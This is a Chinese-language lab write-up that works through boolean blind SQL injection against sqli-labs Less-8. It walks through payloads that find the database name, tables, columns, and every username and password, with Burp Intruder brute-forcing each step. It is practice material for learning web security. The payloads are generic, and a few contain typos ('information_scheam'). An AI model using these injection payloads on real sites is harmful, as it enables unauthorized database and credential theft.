Bootstrap

BP抓包爆破布尔盲注

布尔盲注适用于无回显的情况,只有通过true或false及页面是否正常来判断所输入内容是否正确 

sqli-lab less8 为例

1.判断注入类型

首先 id=1 and 1=2,回显正常,证明是字符型

2、判断闭合符

id=1' 无回显,证明是单引号闭合,直接 id=1’--+进行注释

3、判断当前数据库 

(1)判断数据库名长度

id=1' and length(database()) =n --+  从1开始一个一个试,试到8时有回显,证明数据库名长度为8

(2)猜数据库名 

知道了数据库名长度是8,我们也可以通过同样的方法,通过是否能进入页面判断这个数据库名 

id=1' and substr(database(),1,1)='s' --+

布尔盲注主要靠猜,手注太费时费力,我们进行bp抓包爆破

 首先制造语句,利用bp抓包并发送到intruder

在两个位置添加爆破位置,一个是数字,另一个是字母 ,攻击类型选择集束炸弹

因为我们知道了数据库名长度为8,所以第一个位置爆破只需要从1-8就行,在第二个位置的爆破选择简单列表,上传26个英文字母的字典,进行爆破

可以看到爆破出来的数据库名字为‘security’

4、判断指定库的所有表

(1)判断当前库有多少个表

id=1' and (select count(table_name) from information_schema.tables
 where table_schema='security')=4 --+

我们可以看到共有四张表

(2)判断指定库中表名最多有几个字母

id=1' and length((select table_name from information_scheam.tables 
where table_schema=database() limit 0,1))=6 --+

知道了第一张表总共有6个字母

接下来我们利用substr函数爆破第一张表的内容

制造语句并发送到intruder还是在数字和字母位置添加payload,方法和上面类似,进行爆破

知道第一张表为emais,接下来就是爆破其余三张表 ,操作步骤和上面类似,只是更改limit n,1中的n就可以选取别的表,我们挨个找找到了users这张表

5、判断指定库指定表的字段

(1)判断指定表中有几个字段

id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=3--+

(2)判断指定库的指定表中字段最多有几个字母

id=1' and length((select column_name from information_scheam.columns where table_schema=database() and table_name='users' limit 0,1))=2 --+ 

然后开始爆破

?id=1' and substr((select column_name from information_schema.columns where table_name = 'users' and table_schema = 'security' limit 0,1),1,1)='i' --+

发送到bp,还是在substr函数第二位置和字母那里制造payload,得到一个列为id,再更改limit n,1分别爆破另外两列,即可得到另外两列为username和password

6、爆破内容

(1)判断用户数量

?id=1' and  (select count(*) from users)=13 --+

(2)判断内容名有最多有几个字母 

?id=1' and length((select username from security.users limit 0,1))=4 --+

使用bp爆破 

?id=1' and substr((select username from security.users limit 0,1),1,1)='a'--+爆出第一个人的姓名,然后修改limit n,1爆出另外12个user的名字 ,再将username换成password继续爆破即可得到所有信息

如有错误欢迎指正

 

;